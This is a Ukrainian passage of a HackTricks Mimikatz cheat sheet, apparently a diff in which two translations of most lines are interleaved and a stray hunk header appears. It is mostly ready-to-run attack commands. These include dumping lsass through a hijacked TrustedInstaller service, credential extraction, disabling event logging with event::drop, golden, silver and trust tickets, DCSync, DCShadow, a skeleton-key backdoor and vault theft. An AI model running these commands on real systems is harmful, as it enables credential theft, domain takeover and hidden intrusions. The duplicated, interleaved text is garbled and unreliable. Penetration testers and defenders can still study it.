Незважаючи на ці заходи, інструменти, такі як Mimikatz, можуть обійти захист LSA, використовуючи специфічні драйвери, хоча такі дії, ймовірно, будуть зафіксовані в журналах подій.
### Протидія вилученню привілеїв SeDebugPrivilege
### Протидія видаленню SeDebugPrivilege
Зазвичай адміністратори мають привілеї SeDebugPrivilege, що дозволяє їм налагоджувати програми. Ці привілеї можуть бути обмежені, щоб запобігти несанкціонованим витокам пам'яті, загальній техніці, яку використовують зловмисники для вилучення облікових даних з пам'яті. Однак навіть при вилученні цих привілеїв, облікові дані все ще можуть бути вилучені обліковим записом TrustedInstaller за допомогою налаштування спеціалізованої конфігурації служби:
Адміністратори зазвичай мають SeDebugPrivilege, що дозволяє їм налагоджувати програми. Цю привілегію можна обмежити, щоб запобігти несанкціонованим дампам пам'яті, що є поширеною технікою, яку використовують зловмисники для витягування облікових даних з пам'яті. Однак, навіть з видаленою цією привілегією, обліковий запис TrustedInstaller все ще може виконувати дампи пам'яті, використовуючи налаштовану конфігурацію служби:
```bash
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller
```
Це дозволяє вивантажити пам'ять `lsass.exe` в файл, який потім можна проаналізувати на іншій системі для видобуття облікових даних:
Це дозволяє скинути пам'ять `lsass.exe` у файл, який потім можна проаналізувати на іншій системі для витягнення облікових даних:
```
# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords
```
## Опції Mimikatz
## Mimikatz Options
Підробка журналу подій в Mimikatz включає дві основні дії: очищення журналів подій та патчінг служби Подій для запобігання реєстрації нових подій. Нижче наведені команди для виконання цих дій:
Зловживання журналами подій у Mimikatz включає дві основні дії: очищення журналів подій та патчинг служби подій, щоб запобігти реєстрації нових подій. Нижче наведені команди для виконання цих дій:
#### Очищення журналів подій
#### Clearing Event Logs
- **Команда**: Ця дія спрямована на видалення журналів подій, ускладнюючи відстеження зловмисних дій.
- Mimikatz не надає прямої команди у своїй стандартній документації для очищення журналів подій безпосередньо через командний рядок. Однак маніпулювання журналами подій зазвичай включає використання системних інструментів або сценаріїв поза межами Mimikatz для очищення конкретних журналів (наприклад, за допомогою PowerShell або Windows Event Viewer).
- **Command**: Ця дія спрямована на видалення журналів подій, ускладнюючи відстеження злочинних дій.
- Mimikatz не надає прямої команди в своїй стандартній документації для очищення журналів подій безпосередньо через командний рядок. Однак маніпуляції з журналами подій зазвичай включають використання системних інструментів або скриптів поза Mimikatz для очищення конкретних журналів (наприклад, використовуючи PowerShell або Windows Event Viewer).
#### Експериментальна функція: Патчинг служби Подій
#### Experimental Feature: Patching the Event Service
- **Команда**: `event::drop`
- Ця експериментальна команда призначена для зміни поведінки служби реєстрації подій, ефективно запобігаючи реєстрації нових подій.
- Приклад: `mimikatz "privilege::debug" "event::drop" exit`
- **Command**: `event::drop`
- Ця експериментальна команда призначена для зміни поведінки служби реєстрації подій, ефективно запобігаючи її реєстрації нових подій.
- Example: `mimikatz "privilege::debug" "event::drop" exit`
- Команда `privilege::debug` забезпечує, що Mimikatz працює з необхідними привілеями для модифікації системних служб.
- Команда `event::drop` патчить службу реєстрації подій.
- Команда `privilege::debug` забезпечує, щоб Mimikatz працював з необхідними привілеями для зміни системних служб.
- Команда `event::drop` потім патчить службу реєстрації подій.
### Атаки на квитки Kerberos
### Kerberos Ticket Attacks
### Створення Золотого Квитка
### Golden Ticket Creation
Золотий Квиток дозволяє імітувати доступ на рівні домену. Основна команда та параметри:
Золотий квиток дозволяє для доступу на рівні домену шляхом імперсонації. Ключова команда та параметри:
- Команда: `kerberos::golden`
- Параметри:
- `/domain`: Назва домену.
- Command: `kerberos::golden`
- Parameters:
- `/domain`: Ім'я домену.
- `/sid`: Ідентифікатор безпеки (SID) домену.
- `/user`: Ім'я користувача для імітації.
- `/krbtgt`: Хеш NTLM облікового запису служби KDC домену.
- `/ptt`: Пряме впровадження квитка в пам'ять.
- `/user`: Ім'я користувача для імперсонації.
- `/krbtgt`: NTLM хеш облікового запису служби KDC домену.
- `/ptt`: Безпосередньо інжектує квиток у пам'ять.
- `/ticket`: Зберігає квиток для подальшого використання.
Приклад:
Example:
```bash
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
```
### Створення Срібного Квитка
### Створення срібного квитка
Срібні квитки надають доступ до конкретних служб. Основна команда та параметри:
Срібні квитки надають доступ до конкретних сервісів. Ключова команда та параметри:
- Команда: Схожа на Золотий Квиток, але спрямована на конкретні служби.
- Команда: Схожа на Золотий квиток, але націлена на конкретні сервіси.
- Параметри:
- `/service`: Служба, на яку спрямовано (наприклад, cifs, http).
- Інші параметри схожі на Золотий Квиток.
- `/service`: Сервіс, на який націлюється (наприклад, cifs, http).
- Інші параметри схожі на Золотий квиток.
Приклад:
```bash
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
```
### Створення довірчого квитка
### Trust Ticket Creation
Довірчі квитки використовуються для доступу до ресурсів між доменами за допомогою використання довірчих відносин. Основна команда та параметри:
Trust Tickets використовуються для доступу до ресурсів між доменами, використовуючи довірчі відносини. Ключова команда та параметри:
- Команда: Схожа на Золотий Квиток, але для довірчих відносин.
- Команда: Схожа на Golden Ticket, але для довірчих відносин.
- Параметри:
- `/target`: Повне доменне ім'я цільового домену.
- `/rc4`: Хеш NTLM для облікового запису довіри.
- `/rc4`: NTLM хеш для довірчого облікового запису.
Приклад:
```bash
@ -105,93 +108,109 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
```
### Додаткові команди Kerberos
- **Виведення квитків**:
- **Список квитків**:
- Команда: `kerberos::list`
- Показує всі Kerberos-квитки для поточної сесії користувача.
- Перераховує всі квитки Kerberos для поточної сесії користувача.
- **Передача кешу**:
- **Передати кеш**:
- Команда: `kerberos::ptc`
- Впроваджує Kerberos-квитки з файлів кешу.
- Впроваджує квитки Kerberos з кеш-файлів.
- Приклад: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
- **Передача квитка**:
- **Передати квиток**:
- Команда: `kerberos::ptt`
- Дозволяє використовувати Kerberos-квиток в іншій сесії.
- Дозволяє використовувати квиток Kerberos в іншій сесії.
- Приклад: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
- **Очищення квитків**:
- **Очистити квитки**:
- Команда: `kerberos::purge`
- Очищає всі Kerberos-квитки з сесії.
- Корисно перед використанням команд маніпулювання квитками для уникнення конфліктів.
- Очищає всі квитки Kerberos з сесії.
- Корисно перед використанням команд маніпуляції квитками, щоб уникнути конфліктів.
### Втручання в діяльність Active Directory
### Підробка Active Directory
- **DCShadow**: Тимчасово змушує машину діяти як DC для маніпулювання об'єктами AD.
- **DCShadow**: Тимчасово змусити машину діяти як DC для маніпуляції об'єктами AD.
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
- **DCSync**: Імітує DC для запиту даних пароля.
- **DCSync**: Імітувати DC для запиту даних паролів.
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
### Отримання облікових даних
### Доступ до облікових даних
- **LSADUMP::LSA**: Витягує облікові дані з LSA.
- **LSADUMP::LSA**: Витягти облікові дані з LSA.
- `mimikatz "lsadump::lsa /inject" exit`
- **LSADUMP::NetSync**: Імітує DC, використовуючи дані пароля облікового запису комп'ютера.
- *В оригінальному контексті не надано конкретної команди для NetSync.*
- **LSADUMP::NetSync**: Імітувати DC, використовуючи дані пароля облікового запису комп'ютера.
- *Специфічна команда для NetSync в оригінальному контексті не надана.*
- **LSADUMP::SAM**: Доступ до локальної бази даних SAM.
- `mimikatz "lsadump::sam" exit`
- **LSADUMP::Secrets**: Розшифрування секретів, збережених у реєстрі.
- **LSADUMP::Secrets**: Розшифрувати секрети, збережені в реєстрі.
- `mimikatz "lsadump::secrets" exit`
- **LSADUMP::SetNTLM**: Встановлює новий хеш NTLM для користувача.
- **LSADUMP::SetNTLM**: Встановити новий NTLM хеш для користувача.
- `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
- **LSADUMP::Trust**: Отримання інформації про аутентифікацію довіри.
- **LSADUMP::Trust**: Отримати інформацію про аутентифікацію довіри.
- `mimikatz "lsadump::trust" exit`
### Різне
- **MISC::Skeleton**: Впровадження задніх дверей в LSASS на DC.
- **MISC::Skeleton**: Впровадити бекдор в LSASS на DC.
- `mimikatz "privilege::debug" "misc::skeleton" exit`
### Підвищення привілеїв
- **PRIVILEGE::Backup**: Отримання прав на резервне копіювання.
- **PRIVILEGE::Backup**: Отримати права резервного копіювання.
- `mimikatz "privilege::backup" exit`
- **PRIVILEGE::Debug**: Отримання привілеїв налагодження.
- **PRIVILEGE::Debug**: Отримати привілеї налагодження.
- `mimikatz "privilege::debug" exit`
### Отримання облікових даних
### Витягування облікових даних
- **SEKURLSA::LogonPasswords**: Показує облікові дані для користувачів, які увійшли в систему.
- **SEKURLSA::LogonPasswords**: Показати облікові дані для увійшли користувачів.
- `mimikatz "sekurlsa::logonpasswords" exit`
- **SEKURLSA::Tickets**: Витягує Kerberos-квитки з пам'яті.
- **SEKURLSA::Tickets**: Витягти квитки Kerberos з пам'яті.
- `mimikatz "sekurlsa::tickets /export" exit`
### Маніпулювання Sid та токеном
### Маніпуляція SID та токенами
- **SID::add/modify**: Зміна SID та SIDHistory.
- **SID::add/modify**: Змінити SID та SIDHistory.
- Додати: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
- Змінити: *В оригінальному контексті не надано конкретної команди для зміни.*
- Змінити: *Специфічна команда для зміни в оригінальному контексті не надана.*
- **TOKEN::Elevate**: Імітація токенів.
- **TOKEN::Elevate**: Імітувати токени.
- `mimikatz "token::elevate /domainadmin" exit`
### Служби терміналу
### Служби терміналів
- **TS::MultiRDP**: Дозволяє кілька сеансів RDP.
- **TS::MultiRDP**: Дозволити кілька RDP сесій.
- `mimikatz "ts::multirdp" exit`
- **TS::Sessions**: Перелік сеансів TS/RDP.
- *В оригінальному контексті не надано конкретної команди для TS::Sessions.*
- **TS::Sessions**: Перерахувати сесії TS/RDP.
- *Специфічна команда для TS::Sessions в оригінальному контексті не надана.*
### Сховище
- Витягнути паролі з Windows Vault.
- Витягти паролі з Windows Vault.
- `mimikatz "vault::cred /patch" exit`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}